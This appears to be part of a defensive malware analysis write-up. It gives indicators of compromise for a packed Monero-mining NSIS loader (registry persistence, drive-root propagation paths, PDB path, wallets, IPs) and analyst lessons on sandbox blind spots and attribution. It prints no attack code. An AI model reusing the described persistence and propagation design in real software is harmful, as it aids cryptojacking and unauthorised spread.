User-Agent NSIS_Inetc (Mozilla) Inetc plugin default. The only thing Suricata caught (ET SID 2011227).
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run → value Coin Persistence 1 of 2. Data: %APPDATA%\Images\image.exe. Search case-insensitively.
Path %APPDATA%\Images\ Install dir. Fallbacks: C:\Images, D:\Images, %USERPROFILE%\Images, %TEMP%\Images.
Path <drive>:\images.scr Propagation, every root C: to Z:, incl. removable and mapped.
Path %TEMP%\images.scr The decoy. A directory, not a file.
Path %TEMP%\temp.exe Second-stage target. Dormant here; its presence means the stage fired.
PDB E:\CryptoNight\bitmonero-master\src\miner\x64\{CPU-Release,POOL}\Crypto.pdb Best retro-hunt pivot for sibling builds.
XMR wallet 43tjagd2e8d4GXzYn5xmysYmDnLbvvZSHFPbMWtg4Cs1DLwztfENYbNBz8Y8fmuhpCXFHDzXUWn2QZwhswsNtgzTM8v899K pool17, the one selected at runtime. All 20 in the full report; all checksum-verified.
XMR wallet 47mr7jYTroxQMwdKoPQuJoc9Vs9S9qCUAL6Ek4qyNFWJdqgBZRn4RYY2QjQfqEMJZVWPscupSgaqmUn1dpdUTC4fQsu3yjN Dev fee, memory-only. In no file on disk. Belongs to the miner's author, not necessarily this operator.
Memory string Claymore CryptoNote %s Miner v%s Beta, SOMETHING WRONG WITH DEVFEE CONNECTION. STOP MINING., simpleminer.cpp Memory scanning only. Zero hits against any file: VMProtect hides them until runtime.
IP (DO NOT BLOCK) 188.114.96.3, 188.114.97.3 Cloudflare anycast, shared with the open web. Present in the sandbox's own IoC export. Context only.
IP (context) 81.28.12.12, 65.108.204.181 Beacon host at detonation; pool host as of 2026-09-10 (Hetzner, ports closed).
Not an IoC nsis.sf.net/nsis_error The benign Nullsoft "installer corrupted" help page, referenced by every NSIS stub. Exported as a URL indicator by the sandbox.

Behavioral / host artifacts

Takeaways

  1. The detonation is one path through the program; the script is the program. Six capabilities in this sample never executed, including a download-and-execute stage. Decompile the installer.
  2. Triage capabilities, not verdicts. "Obsolete miner" and "self-propagating loader with intact persistence and a dormant RCE channel" are the same file. Only one of those gets remediated properly.
  3. A commercial packer moves the evidence, it does not delete it. Product name, dev-fee wallet, agent strings and flag semantics all came out of process memory without touching VMProtect. Ask for dumps.
  4. Count your techniques against your artifacts. 101 heuristic techniques missed the two that define the malware. A citation requirement would have caught it.
  5. Case sensitivity is a finding-killer. One capital letter in a sandbox report cost me a wrong claim in a published draft. A zero-hit search says something about the search first.
  6. State non-attribution as non-attribution. The ecosystem is knowable, the operator is not, and the beacon domain was probably somebody else's website. Writing down which is which is what keeps a phantom actor out of the next analyst's baseline.